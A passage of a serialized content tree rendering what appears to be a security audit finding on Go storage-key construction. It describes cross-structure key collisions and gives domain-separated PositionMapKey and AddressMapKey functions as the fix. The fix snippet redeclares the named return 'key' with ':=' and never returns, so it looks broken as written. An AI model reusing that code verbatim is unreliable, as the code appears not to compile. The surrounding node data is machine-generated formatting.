positionNameEncoded",{"type":26,"tag":475,"props":86386,"children":86387},{"style":499},[86388],{"type":32,"value":2425},{"type":26,"tag":475,"props":86390,"children":86391},{"class":477,"line":1068},[86392],{"type":26,"tag":475,"props":86393,"children":86394},{"style":499},[86395],{"type":32,"value":23620},{"type":26,"tag":475,"props":86397,"children":86398},{"class":477,"line":1077},[86399],{"type":26,"tag":475,"props":86400,"children":86401},{"style":499},[86402],{"type":32,"value":3607},{"type":26,"tag":475,"props":86404,"children":86405},{"class":477,"line":1090},[86406],{"type":26,"tag":475,"props":86407,"children":86408},{"emptyLinePlaceholder":18},[86409],{"type":32,"value":545},{"type":26,"tag":475,"props":86411,"children":86412},{"class":477,"line":1119},[86413],{"type":26,"tag":475,"props":86414,"children":86415},{"emptyLinePlaceholder":18},[86416],{"type":32,"value":545},{"type":26,"tag":475,"props":86418,"children":86419},{"class":477,"line":1132},[86420,86424,86429],{"type":26,"tag":475,"props":86421,"children":86422},{"style":482},[86423],{"type":32,"value":75929},{"type":26,"tag":475,"props":86425,"children":86426},{"style":493},[86427],{"type":32,"value":86428}," AddressMapKey",{"type":26,"tag":475,"props":86430,"children":86431},{"style":499},[86432],{"type":32,"value":3169},{"type":26,"tag":475,"props":86434,"children":86435},{"class":477,"line":1146},[86436,86440,86444],{"type":26,"tag":475,"props":86437,"children":86438},{"style":2375},[86439],{"type":32,"value":84869},{"type":26,"tag":475,"props":86441,"children":86442},{"style":505},[86443],{"type":32,"value":76050},{"type":26,"tag":475,"props":86445,"children":86446},{"style":499},[86447],{"type":32,"value":2425},{"type":26,"tag":475,"props":86449,"children":86450},{"class":477,"line":1155},[86451,86455,86459,86464,86468],{"type":26,"tag":475,"props":86452,"children":86453},{"style":2375},[86454],{"type":32,"value":84881},{"type":26,"tag":475,"props":86456,"children":86457},{"style":499},[86458],{"type":32,"value":637},{"type":26,"tag":475,"props":86460,"children":86461},{"style":2375},[86462],{"type":32,"value":86463},"addressName",{"type":26,"tag":475,"props":86465,"children":86466},{"style":499},[86467],{"type":32,"value":75856},{"type":26,"tag":475,"props":86469,"children":86470},{"style":505},[86471],{"type":32,"value":83850},{"type":26,"tag":475,"props":86473,"children":86474},{"class":477,"line":1163},[86475,86479,86483,86487,86491],{"type":26,"tag":475,"props":86476,"children":86477},{"style":499},[86478],{"type":32,"value":76011},{"type":26,"tag":475,"props":86480,"children":86481},{"style":2375},[86482],{"type":32,"value":71783},{"type":26,"tag":475,"props":86484,"children":86485},{"style":499},[86486],{"type":32,"value":75856},{"type":26,"tag":475,"props":86488,"children":86489},{"style":505},[86490],{"type":32,"value":84387},{"type":26,"tag":475,"props":86492,"children":86493},{"style":499},[86494],{"type":32,"value":676},{"type":26,"tag":475,"props":86496,"children":86497},{"class":477,"line":1172},[86498,86502,86506,86510],{"type":26,"tag":475,"props":86499,"children":86500},{"style":2375},[86501],{"type":32,"value":85483},{"type":26,"tag":475,"props":86503,"children":86504},{"style":714},[86505],{"type":32,"value":76045},{"type":26,"tag":475,"props":86507,"children":86508},{"style":493},[86509],{"type":32,"value":85186},{"type":26,"tag":475,"props":86511,"children":86512},{"style":499},[86513],{"type":32,"value":3169},{"type":26,"tag":475,"props":86515,"children":86516},{"class":477,"line":1181},[86517,86521,86525],{"type":26,"tag":475,"props":86518,"children":86519},{"style":499},[86520],{"type":32,"value":86077},{"type":26,"tag":475,"props":86522,"children":86523},{"style":505},[86524],{"type":32,"value":84387},{"type":26,"tag":475,"props":86526,"children":86527},{"style":499},[86528],{"type":32,"value":2425},{"type":26,"tag":475,"props":86530,"children":86531},{"class":477,"line":1189},[86532,86536,86540,86544,86548,86552,86556,86560],{"type":26,"tag":475,"props":86533,"children":86534},{"style":2375},[86535],{"type":32,"value":86093},{"type":26,"tag":475,"props":86537,"children":86538},{"style":499},[86539],{"type":32,"value":353},{"type":26,"tag":475,"props":86541,"children":86542},{"style":493},[86543],{"type":32,"value":85223},{"type":26,"tag":475,"props":86545,"children":86546},{"style":499},[86547],{"type":32,"value":626},{"type":26,"tag":475,"props":86549,"children":86550},{"style":493},[86551],{"type":32,"value":8849},{"type":26,"tag":475,"props":86553,"children":86554},{"style":499},[86555],{"type":32,"value":626},{"type":26,"tag":475,"props":86557,"children":86558},{"style":2375},[86559],{"type":32,"value":85093},{"type":26,"tag":475,"props":86561,"children":86562},{"style":499},[86563],{"type":32,"value":85244},{"type":26,"tag":475,"props":86565,"children":86566},{"class":477,"line":1221},[86567],{"type":26,"tag":475,"props":86568,"children":86569},{"style":499},[86570],{"type":32,"value":23620},{"type":26,"tag":475,"props":86572,"children":86573},{"class":477,"line":1848},[86574,86578,86582,86586,86590,86594,86598,86602],{"type":26,"tag":475,"props":86575,"children":86576},{"style":2375},[86577],{"type":32,"value":85214},{"type":26,"tag":475,"props":86579,"children":86580},{"style":499},[86581],{"type":32,"value":353},{"type":26,"tag":475,"props":86583,"children":86584},{"style":493},[86585],{"type":32,"value":85268},{"type":26,"tag":475,"props":86587,"children":86588},{"style":499},[86589],{"type":32,"value":626},{"type":26,"tag":475,"props":86591,"children":86592},{"style":2375},[86593],{"type":32,"value":85177},{"type":26,"tag":475,"props":86595,"children":86596},{"style":499},[86597],{"type":32,"value":637},{"type":26,"tag":475,"props":86599,"children":86600},{"style":2375},[86601],{"type":32,"value":85093},{"type":26,"tag":475,"props":86603,"children":86604},{"style":499},[86605],{"type":32,"value":647},{"type":26,"tag":475,"props":86607,"children":86608},{"class":477,"line":1857},[86609],{"type":26,"tag":475,"props":86610,"children":86611},{"emptyLinePlaceholder":18},[86612],{"type":32,"value":545},{"type":26,"tag":475,"props":86614,"children":86615},{"class":477,"line":1866},[86616,86621,86625,86629],{"type":26,"tag":475,"props":86617,"children":86618},{"style":2375},[86619],{"type":32,"value":86620}," addressNameEncoded",{"type":26,"tag":475,"props":86622,"children":86623},{"style":714},[86624],{"type":32,"value":76045},{"type":26,"tag":475,"props":86626,"children":86627},{"style":493},[86628],{"type":32,"value":85186},{"type":26,"tag":475,"props":86630,"children":86631},{"style":499},[86632],{"type":32,"value":3169},{"type":26,"tag":475,"props":86634,"children":86635},{"class":477,"line":1875},[86636,86640,86644],{"type":26,"tag":475,"props":86637,"children":86638},{"style":499},[86639],{"type":32,"value":86077},{"type":26,"tag":475,"props":86641,"children":86642},{"style":505},[86643],{"type":32,"value":84387},{"type":26,"tag":475,"props":86645,"children":86646},{"style":499},[86647],{"type":32,"value":2425},{"type":26,"tag":475,"props":86649,"children":86650},{"class":477,"line":1883},[86651,86655,86659,86663,86667,86671,86675,86679],{"type":26,"tag":475,"props":86652,"children":86653},{"style":2375},[86654],{"type":32,"value":86093},{"type":26,"tag":475,"props":86656,"children":86657},{"style":499},[86658],{"type":32,"value":353},{"type":26,"tag":475,"props":86660,"children":86661},{"style":493},[86662],{"type":32,"value":85223},{"type":26,"tag":475,"props":86664,"children":86665},{"style":499},[86666],{"type":32,"value":626},{"type":26,"tag":475,"props":86668,"children":86669},{"style":493},[86670],{"type":32,"value":8849},{"type":26,"tag":475,"props":86672,"children":86673},{"style":499},[86674],{"type":32,"value":626},{"type":26,"tag":475,"props":86676,"children":86677},{"style":2375},[86678],{"type":32,"value":86463},{"type":26,"tag":475,"props":86680,"children":86681},{"style":499},[86682],{"type":32,"value":85244},{"type":26,"tag":475,"props":86684,"children":86685},{"class":477,"line":1892},[86686],{"type":26,"tag":475,"props":86687,"children":86688},{"style":499},[86689],{"type":32,"value":23620},{"type":26,"tag":475,"props":86691,"children":86692},{"class":477,"line":1901},[86693,86697,86701,86705,86709,86714,86718,86722],{"type":26,"tag":475,"props":86694,"children":86695},{"style":2375},[86696],{"type":32,"value":85214},{"type":26,"tag":475,"props":86698,"children":86699},{"style":499},[86700],{"type":32,"value":353},{"type":26,"tag":475,"props":86702,"children":86703},{"style":493},[86704],{"type":32,"value":85268},{"type":26,"tag":475,"props":86706,"children":86707},{"style":499},[86708],{"type":32,"value":626},{"type":26,"tag":475,"props":86710,"children":86711},{"style":2375},[86712],{"type":32,"value":86713},"addressNameEncoded",{"type":26,"tag":475,"props":86715,"children":86716},{"style":499},[86717],{"type":32,"value":637},{"type":26,"tag":475,"props":86719,"children":86720},{"style":2375},[86721],{"type":32,"value":86463},{"type":26,"tag":475,"props":86723,"children":86724},{"style":499},[86725],{"type":32,"value":647},{"type":26,"tag":475,"props":86727,"children":86728},{"class":477,"line":1910},[86729],{"type":26,"tag":475,"props":86730,"children":86731},{"emptyLinePlaceholder":18},[86732],{"type":32,"value":545},{"type":26,"tag":475,"props":86734,"children":86735},{"class":477,"line":1919},[86736,86740,86744,86748,86752,86756],{"type":26,"tag":475,"props":86737,"children":86738},{"style":2375},[86739],{"type":32,"value":86297},{"type":26,"tag":475,"props":86741,"children":86742},{"style":714},[86743],{"type":32,"value":76045},{"type":26,"tag":475,"props":86745,"children":86746},{"style":2375},[86747],{"type":32,"value":81856},{"type":26,"tag":475,"props":86749,"children":86750},{"style":499},[86751],{"type":32,"value":353},{"type":26,"tag":475,"props":86753,"children":86754},{"style":493},[86755],{"type":32,"value":84845},{"type":26,"tag":475,"props":86757,"children":86758},{"style":499},[86759],{"type":32,"value":3169},{"type":26,"tag":475,"props":86761,"children":86762},{"class":477,"line":1927},[86763,86767],{"type":26,"tag":475,"props":86764,"children":86765},{"style":629},[86766],{"type":32,"value":86325},{"type":26,"tag":475,"props":86768,"children":86769},{"style":499},[86770],{"type":32,"value":2425},{"type":26,"tag":475,"props":86772,"children":86773},{"class":477,"line":1936},[86774,86778],{"type":26,"tag":475,"props":86775,"children":86776},{"style":2375},[86777],{"type":32,"value":86337},{"type":26,"tag":475,"props":86779,"children":86780},{"style":499},[86781],{"type":32,"value":2425},{"type":26,"tag":475,"props":86783,"children":86784},{"class":477,"line":1945},[86785,86789],{"type":26,"tag":475,"props":86786,"children":86787},{"style":2375},[86788],{"type":32,"value":86349},{"type":26,"tag":475,"props":86790,"children":86791},{"style":499},[86792],{"type":32,"value":2425},{"type":26,"tag":475,"props":86794,"children":86795},{"class":477,"line":1967},[86796,86800],{"type":26,"tag":475,"props":86797,"children":86798},{"style":2375},[86799],{"type":32,"value":86361},{"type":26,"tag":475,"props":86801,"children":86802},{"style":499},[86803],{"type":32,"value":2425},{"type":26,"tag":475,"props":86805,"children":86806},{"class":477,"line":1976},[86807,86811],{"type":26,"tag":475,"props":86808,"children":86809},{"style":2375},[86810],{"type":32,"value":86349},{"type":26,"tag":475,"props":86812,"children":86813},{"style":499},[86814],{"type":32,"value":2425},{"type":26,"tag":475,"props":86816,"children":86817},{"class":477,"line":1984},[86818,86823],{"type":26,"tag":475,"props":86819,"children":86820},{"style":2375},[86821],{"type":32,"value":86822}," addressNameEncoded",{"type":26,"tag":475,"props":86824,"children":86825},{"style":499},[86826],{"type":32,"value":2425},{"type":26,"tag":475,"props":86828,"children":86829},{"class":477,"line":1992},[86830],{"type":26,"tag":475,"props":86831,"children":86832},{"style":499},[86833],{"type":32,"value":23620},{"type":26,"tag":475,"props":86835,"children":86836},{"class":477,"line":2004},[86837],{"type":26,"tag":475,"props":86838,"children":86839},{"style":499},[86840],{"type":32,"value":3607},{"type":26,"tag":35,"props":86842,"children":86843},{},[86844,86846,86851],{"type":32,"value":86845},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":26,"tag":53,"props":86847,"children":86849},{"className":86848},[],[86850],{"type":32,"value":84599},{"type":32,"value":86852},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":26,"tag":465,"props":86854,"children":86856},{"code":86855},"vaultId = 1, username = \"a\", positionName = \"b\"\n => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n => AddressMapKey = \"1|a||b\"\n",[86857],{"type":26,"tag":53,"props":86858,"children":86859},{"__ignoreMap":7},[86860],{"type":32,"value":86855},{"type":26,"tag":35,"props":86862,"children":86863},{},[86864],{"type":32,"value":86865},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":26,"tag":465,"props":86867,"children":86869},{"code":86868,"language":75793,"meta":7,"className":75794,"style":7},"const (\n Seperator = \"|\"\n PositionMapPrefix = \"\\x01\"\n AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n PositionMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n AddressMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[86870],{"type":26,"tag":53,"props":86871,"children":86872},{"__ignoreMap":7},[86873,86884,86899,86926,86951,86958,86965,86972,86987,87002,87029,87052,87071,87086,87121,87128,87163,87170,87189,87204,87239,87246,87281,87288,87315,87327,87339,87350,87361,87372,87383,87394,87401,87408,87415,87422,87437,87452,87479,87502,87521,87536,87571,87578,87613,87620,87639,87654,87689,87696,87731,87738,87765,87776,87788,87799,87810,87821,87832,87843,87850],{"type":26,"tag":475,"props":86874,"children":86875},{"class":477,"line":478},[86876,86880],{"type":26,"tag":475,"props":86877,"children":86878},{"style":482},[86879],{"type":32,"value":9363},{"type":26,"tag":475,"props":86881,"children":86882},{"style":499},[86883],{"type":32,"value":78195},{"type":26,"tag":475,"props":86885,"children":86886},{"class":477,"line":516},[86887,86891,86895],{"type":26,"tag":475,"props":86888,"children":86889},{"style":2375},[86890],{"type":32,"value":84953},{"type":26,"tag":475,"props":86892,"children":86893},{"style":714},[86894],{"type":32,"value":2383},{"type":26,"tag":475,"props":86896,"children":86897},{"style":629},[86898],{"type":32,"value":84962},{"type":26,"tag":475,"props":86900,"children":86901},{"class":477,"line":539},[86902,86907,86911,86916,86921],{"type":26,"tag":475,"props":86903,"children":86904},{"style":2375},[86905],{"type":32,"value":86906}," PositionMapPrefix",{"type":26,"tag":475,"props":86908,"children":86909},{"style":714},[86910],{"type":32,"value":2383},{"type":26,"tag":475,"props":86912,"children":86913},{"style":629},[86914],{"type":32,"value":86915}," \"",{"type":26,"tag":475,"props":86917,"children":86918},{"style":48067},[86919],{"type":32,"value":86920},"\\x01",{"type":26,"tag":475,"props":86922,"children":86923},{"style":629},[86924],{"type":32,"value":86925},"\"\n",{"type":26,"tag":475,"props":86927,"children":86928},{"class":477,"line":548},[86929,86934,86938,86942,86947],{"type":26,"tag":475,"props":86930,"children":86931},{"style":2375},[86932],{"type":32,"value":86933}," AddressMapPrefix",{"type":26,"tag":475,"props":86935,"children":86936},{"style":714},[86937],{"type":32,"value":2383},{"type":26,"tag":475,"props":86939,"children":86940},{"style":629},[86941],{"type":32,"value":86915},{"type":26,"tag":475,"props":86943,"children":86944},{"style":48067},[86945],{"type":32,"value":86946},"\\x02",{"type":26,"tag":475,"props":86948,"children":86949},{"style":629},[86950],{"type":32,"value":86925},{"type":26,"tag":475,"props":86952,"children":86953},{"class":477,"line":558},[86954],{"type":26,"tag":475,"props":86955,"children":86956},{"style":499},[86957],{"type":32,"value":647},{"type":26,"tag":475,"props":86959,"children":86960},{"class":477,"line":582},[86961],{"type":26,"tag":475,"props":86962,"children":86963},{"emptyLinePlaceholder":18},[86964],{"type":32,"value":545},{"type":26,"tag":475,"props":86966,"children":86967},{"class":477,"line":596},[86968],{"type":26,"tag":475,"props":86969,"children":86970},{"emptyLinePlaceholder":18},[86971],{"type":32,"value":545},{"type":26,"tag":475,"props":86973,"children":86974},{"class":477,"line":610},[86975,86979,86983],{"type":26,"tag":475,"props":86976,"children":86977},{"style":482},[86978],{"type":32,"value":75929},{"type":26,"tag":475,"props":86980,"children":86981},{"style":493},[86982],{"type":32,"value":85981},{"type":26,"tag":475,"props":86984,"children":86985},{"style":499},[86986],{"type":32,"value":3169},{"type":26,"tag":475,"props":86988,"children":86989},{"class":477,"line":650},[86990,86994,86998],{"type":26,"tag":475,"props":86991,"children":86992},{"style":2375},[86993],{"type":32,"value":84869},{"type":26,"tag":475,"props":86995,"children":86996},{"style":505},[86997],{"type":32,"value":76050},{"type":26,"tag":475,"props":86999,"children":87000},{"style":499},[87001],{"type":32,"value":2425},{"type":26,"tag":475,"props":87003,"children":87004},{"class":477,"line":679},[87005,87009,87013,87017,87021,87025],{"type":26,"tag":475,"props":87006,"children":87007},{"style":2375},[87008],{"type":32,"value":84881},{"type":26,"tag":475,"props":87010,"children":87011},{"style":499},[87012],{"type":32,"value":637},{"type":26,"tag":475,"props":87014,"children":87015},{"style":2375},[87016],{"type":32,"value":85362},{"type":26,"tag":475,"props":87018,"children":87019},{"style":499},[87020],{"type":32,"value":75856},{"type":26,"tag":475,"props":87022,"children":87023},{"style":505},[87024],{"type":32,"value":84387},{"type":26,"tag":475,"props":87026,"children":87027},{"style":499},[87028],{"type":32,"value":2425},{"type":26,"tag":475,"props":87030,"children":87031},{"class":477,"line":735},[87032,87036,87040,87044,87048],{"type":26,"tag":475,"props":87033,"children":87034},{"style":499},[87035],{"type":32,"value":76011},{"type":26,"tag":475,"props":87037,"children":87038},{"style":2375},[87039],{"type":32,"value":71783},{"type":26,"tag":475,"props":87041,"children":87042},{"style":499},[87043],{"type":32,"value":75856},{"type":26,"tag":475,"props":87045,"children":87046},{"style":505},[87047],{"type":32,"value":84387},{"type":26,"tag":475,"props":87049,"children":87050},{"style":499},[87051],{"type":32,"value":676},{"type":26,"tag":475,"props":87053,"children":87054},{"class":477,"line":744},[87055,87059,87063,87067],{"type":26,"tag":475,"props":87056,"children":87057},{"style":2375},[87058],{"type":32,"value":85483},{"type":26,"tag":475,"props":87060,"children":87061},{"style":714},[87062],{"type":32,"value":76045},{"type":26,"tag":475,"props":87064,"children":87065},{"style":493},[87066],{"type":32,"value":85186},{"type":26,"tag":475,"props":87068,"children":87069},{"style":499},[87070],{"type":32,"value":3169},{"type":26,"tag":475,"props":87072,"children":87073},{"class":477,"line":753},[87074,87078,87082],{"type":26,"tag":475,"props":87075,"children":87076},{"style":499},[87077],{"type":32,"value":86077},{"type":26,"tag":475,"props":87079,"children":87080},{"style":505},[87081],{"type":32,"value":84387},{"type":26,"tag":475,"props":87083,"children":87084},{"style":499},[87085],{"type":32,"value":2425},{"type":26,"tag":475,"props":87087,"children":87088},{"class":477,"line":761},[87089,87093,87097,87101,87105,87109,87113,87117],{"type":26,"tag":475,"props":87090,"children":87091},{"style":2375},[87092],{"type":32,"value":86093},{"type":26,"tag":475,"props":87094,"children":87095},{"style":499},[87096],{"type":32,"value":353},{"type":26,"tag":475,"props":87098,"children":87099},{"style":493},[87100],{"type":32,"value":85223},{"type":26,"tag":475,"props":87102,"children":87103},{"style":499},[87104],{"type":32,"value":626},{"type":26,"tag":475,"props":87106,"children":87107},{"style":493},[87108],{"type":32,"value":8849},{"type":26,"tag":475,"props":87110,"children":87111},{"style":499},[87112],{"type":32,"value":626},{"type":26,"tag":475,"props":87114,"children":87115},{"style":2375},[87116],{"type":32,"value":85093},{"type":26,"tag":475,"props":87118,"children":87119},{"style":499},[87120],{"type":32,"value":85244},{"type":26,"tag":475,"props":87122,"children":87123},{"class":477,"line":770},[87124],{"type":26,"tag":475,"props":87125,"children":87126},{"style":499},[87127],{"type":32,"value":23620},{"type":26,"tag":475,"props":87129,"children":87130},{"class":477,"line":794},[87131,87135,87139,87143,87147,87151,87155,87159],{"type":26,"tag":475,"props":87132,"children":87133},{"style":2375},[87134],{"type":32,"value":85214},{"type":26,"tag":475,"props":87136,"children":87137},{"style":499},[87138],{"type":32,"value":353},{"type":26,"tag":475,"props":87140,"children":87141},{"style":493},[87142],{"type":32,"value":85268},{"type":26,"tag":475,"props":87144,"children":87145},{"style":499},[87146],{"type":32,"value":626},{"type":26,"tag":475,"props":87148,"children":87149},{"style":2375},[87150],{"type":32,"value":85177},{"type":26,"tag":475,"props":87152,"children":87153},{"style":499},[87154],{"type":32,"value":637},{"type":26,"tag":475,"props":87156,"children":87157},{"style":2375},[87158],{"type":32,"value":85093},{"type":26,"tag":475,"props":87160,"children":87161},{"style":499},[87162],{"type":32,"value":647},{"type":26,"tag":475,"props":87164,"children":87165},{"class":477,"line":831},[87166],{"type":26,"tag":475,"props":87167,"children":87168},{"emptyLinePlaceholder":18},[87169],{"type":32,"value":545},{"type":26,"tag":475,"props":87171,"children":87172},{"class":477,"line":845},[87173,87177,87181,87185],{"type":26,"tag":475,"props":87174,"children":87175},{"style":2375},[87176],{"type":32,"value":86178},{"type":26,"tag":475,"props":87178,"children":87179},{"style":714},[87180],{"type":32,"value":76045},{"type":26,"tag":475,"props":87182,"children":87183},{"style":493},[87184],{"type":32,"value":85186},{"type":26,"tag":475,"props":87186,"children":87187},{"style":499},[87188],{"type":32,"value":3169},{"type":26,"tag":475,"props":87190,"children":87191},{"class":477,"line":854},[87192,87196,87200],{"type":26,"tag":475,"props":87193,"children":87194},{"style":499},[87195],{"type":32,"value":86077},{"type":26,"tag":475,"props":87197,"children":87198},{"style":505},[87199],{"type":32,"value":84387},{"type":26,"tag":475,"props":87201,"children":87202},{"style":499},[87203],{"type":32,"value":2425},{"type":26,"tag":475,"props":87205,"children":87206},{"class":477,"line":862},[87207,87211,87215,87219,87223,87227,87231,87235],{"type":26,"tag":475,"props":87208,"children":87209},{"style":2375},[87210],{"type":32,"value":86093},{"type":26,"tag":475,"props":87212,"children":87213},{"style":499},[87214],{"type":32,"value":353},{"type":26,"tag":475,"props":87216,"children":87217},{"style":493},[87218],{"type":32,"value":85223},{"type":26,"tag":475,"props":87220,"children":87221},{"style":499},[87222],{"type":32,"value":626},{"type":26,"tag":475,"props":87224,"children":87225},{"style":493},[87226],{"type":32,"value":8849},{"type":26,"tag":475,"props":87228,"children":87229},{"style":499},[87230],{"type":32,"value":626},{"type":26,"tag":475,"props":87232,"children":87233},{"style":2375},[87234],{"type":32,"value":85362},{"type":26,"tag":475,"props":87236,"children":87237},{"style":499},[87238],{"type":32,"value":85244},{"type":26,"tag":475,"props":87240,"children":87241},{"class":477,"line":885},[87242],{"type":26,"tag":475,"props":87243,"children":87244},{"style":499},[87245],{"type":32,"value":23620},{"type":26,"tag":475,"props":87247,"children":87248},{"class":477,"line":913},[87249,87253,87257,87261,87265,87269,87273,87277],{"type":26,"tag":475,"props":87250,"children":87251},{"style":2375},[87252],{"type":32,"value":85214},{"type":26,"tag":475,"props":87254,"children":87255},{"style":499},[87256],{"type":32,"value":353},{"type":26,"tag":475,"props":87258,"children":87259},{"style":493},[87260],{"type":32,"value":85268},{"type":26,"tag":475,"props":87262,"children":87263},{"style":499},[87264],{"type":32,"value":626},{"type":26,"tag":475,"props":87266,"children":87267},{"style":2375},[87268],{"type":32,"value":85303},{"type":26,"tag":475,"props":87270,"children":87271},{"style":499},[87272],{"type":32,"value":637},{"type":26,"tag":475,"props":87274,"children":87275},{"style":2375},[87276],{"type":32,"value":85362},{"type":26,"tag":475,"props":87278,"children":87279},{"style":499},[87280],{"type":32,"value":647},{"type":26,"tag":475,"props":87282,"children":87283},{"class":477,"line":926},[87284],{"type":26,"tag":475,"props":87285,"children":87286},{"emptyLinePlaceholder":18},[87287],{"type":32,"value":545},{"type":26,"tag":475,"props":87289,"children":87290},{"class":477,"line":948},[87291,87295,87299,87303,87307,87311],{"type":26,"tag":475,"props":87292,"children":87293},{"style":2375},[87294],{"type":32,"value":86297},{"type":26,"tag":475,"props":87296,"children":87297},{"style":714},[87298],{"type":32,"value":76045},{"type":26,"tag":475,"props":87300,"children":87301},{"style":2375},[87302],{"type":32,"value":81856},{"type":26,"tag":475,"props":87304,"children":87305},{"style":499},[87306],{"type":32,"value":353},{"type":26,"tag":475,"props":87308,"children":87309},{"style":493},[87310],{"type":32,"value":84845},{"type":26,"tag":475,"props":87312,"children":87313},{"style":499},[87314],{"type":32,"value":3169},{"type":26,"tag":475,"props":87316,"children":87317},{"class":477,"line":966},[87318,87323],{"type":26,"tag":475,"props":87319,"children":87320},{"style":629},[87321],{"type":32,"value":87322}," \"%s%d%s%s%s%s\"",{"type":26,"tag":475,"props":87324,"children":87325},{"style":499},[87326],{"type":32,"value":2425},{"type":26,"tag":475,"props":87328,"children":87329},{"class":477,"line":979},[87330,87335],{"type":26,"tag":475,"props":87331,"children":87332},{"style":2375},[87333],{"type":32,"value":87334}," PositionMapPrefix",{"type":26,"tag":475,"props":87336,"children":87337},{"style":499},[87338],{"type":32,"value":2425},{"type":26,"tag":475,"props":87340,"children":87341},{"class":477,"line":1006},[87342,87346],{"type":26,"tag":475,"props":87343,"children":87344},{"style":2375},[87345],{"type":32,"value":86337},{"type":26,"tag":475,"props":87347,"children":87348},{"style":499},[87349],{"type":32,"value":2425},{"type":26,"tag":475,"props":87351,"children":87352},{"class":477,"line":1046},[87353,87357],{"type":26,"tag":475,"props":87354,"children":87355},{"style":2375},[87356],{"type":32,"value":86349},{"type":26,"tag":475,"props":87358,"children":87359},{"style":499},[87360],{"type":32,"value":2425},{"type":26,"tag":475,"props":87362,"children":87363},{"class":477,"line":1068},[87364,87368],{"type":26,"tag":475,"props":87365,"children":87366},{"style":2375},[87367],{"type":32,"value":86361},{"type":26,"tag":475,"props":87369,"children":87370},{"style":499},[87371],{"type":32,"value":2425},{"type":26,"tag":475,"props":87373,"children":87374},{"class":477,"line":1077},[87375,87379],{"type":26,"tag":475,"props":87376,"children":87377},{"style":2375},[87378],{"type":32,"value":86349},{"type":26,"tag":475,"props":87380,"children":87381},{"style":499},[87382],{"type":32,"value":2425},{"type":26,"tag":475,"props":87384,"children":87385},{"class":477,"line":1090},[87386,87390],{"type":26,"tag":475,"props":87387,"children":87388},{"style":2375},[87389],{"type":32,"value":86384},{"type":26,"tag":475,"props":87391,"children":87392},{"style":499},[87393],{"type":32,"value":2425},{"type":26,"tag":475,"props":87395,"children":87396},{"class":477,"line":1119},[87397],{"type":26,"tag":475,"props":87398,"children":87399},{"style":499},[87400],{"type":32,"value":23620},{"type":26,"tag":475,"props":87402,"children":87403},{"class":477,"line":1132},[87404],{"type":26,"tag":475,"props":87405,"children":87406},{"style":499},[87407],{"type":32,"value":3607},{"type":26,"tag":475,"props":87409,"children":87410},{"class":477,"line":1146},[87411],{"type":26,"tag":475,"props":87412,"children":87413},{"emptyLinePlaceholder":18},[87414],{"type":32,"value":545},{"type":26,"tag":475,"props":87416,"children":87417},{"class":477,"line":1155},[87418],{"type":26,"tag":475,"props":87419,"children":87420},{"emptyLinePlaceholder":18},[87421],{"type":32,"value":545},{"type":26,"tag":475,"props":87423,"children":87424},{"class":477,"line":1163},[87425,87429,87433],{"type":26,"tag":475,"props":87426,"children":87427},{"style":482},[87428],{"type":32,"value":75929},{"type":26,"tag":475,"props":87430,"children":87431},{"style":493},[87432],{"type":32,"value":86428},{"type":26,"tag":475,"props":87434,"children":87435},{"style":499},[87436],{"type":32,"value":3169},{"type":26,"tag":475,"props":87438,"children":87439},{"class":477,"line":1172},[87440,87444,87448],{"type":26,"tag":475,"props":87441,"children":87442},{"style":2375},[87443],{"type":32,"value":84869},{"type":26,"tag":475,"props":87445,"children":87446},{"style":505},[87447],{"type":32,"value":76050},{"type":26,"tag":475,"props":87449,"children":87450},{"style":499},[87451],{"type":32,"value":2425},{"type":26,"tag":475,"props":87453,"children":87454},{"class":477,"line":1181},[87455,87459,87463,87467,87471,87475],{"type":26,"tag":475,"props":87456,"children":87457},{"style":2375},[87458],{"type":32,"value":84881},{"type":26,"tag":475,"props":87460,"children":87461},{"style":499},[87462],{"type":32,"value":637},{"type":26,"tag":475,"props":87464,"children":87465},{"style":2375},[87466],{"type":32,"value":86463},{"type":26,"tag":475,"props":87468,"children":87469},{"style":499},[87470],{"type":32,"value":75856},{"type":26,"tag":475,"props":87472,"children":87473},{"style":505},[87474],{"type":32,"value":84387},{"type":26,"tag":475,"props":87476,"children":87477},{"style":499},[87478],{"type":32,"value":2425},{"type":26,"tag":475,"props":87480,"children":87481},{"class":477,"line":1189},[87482,87486,87490,87494,87498],{"type":26,"tag":475,"props":87483,"children":87484},{"style":499},[87485],{"type":32,"value":76011},{"type":26,"tag":475,"props":87487,"children":87488},{"style":2375},[87489],{"type":32,"value":71783},{"type":26,"tag":475,"props":87491,"children":87492},{"style":499},[87493],{"type":32,"value":75856},{"type":26,"tag":475,"props":87495,"children":87496},{"style":505},[87497],{"type":32,"value":84387},{"type":26,"tag":475,"props":87499,"children":87500},{"style":499},[87501],{"type":32,"value":676},{"type":26,"tag":475,"props":87503,"children":87504},{"class":477,"line":1221},[87505,87509,87513,87517],{"type":26,"tag":475,"props":87506,"children":87507},{"style":2375},[87508],{"type":32,"value":85483},{"type":26,"tag":475,"props":87510,"children":87511},{"style":714},[87512],{"type":32,"value":76045},{"type":26,"tag":475,"props":87514,"children":87515},{"style":493},[87516],{"type":32,"value":85186},{"type":26,"tag":475,"props":87518,"children":87519},{"style":499},[87520],{"type":32,"value":3169},{"type":26,"tag":475,"props":87522,"children":87523},{"class":477,"line":1848},[87524,87528,87532],{"type":26,"tag":475,"props":87525,"children":87526},{"style":499},[87527],{"type":32,"value":86077}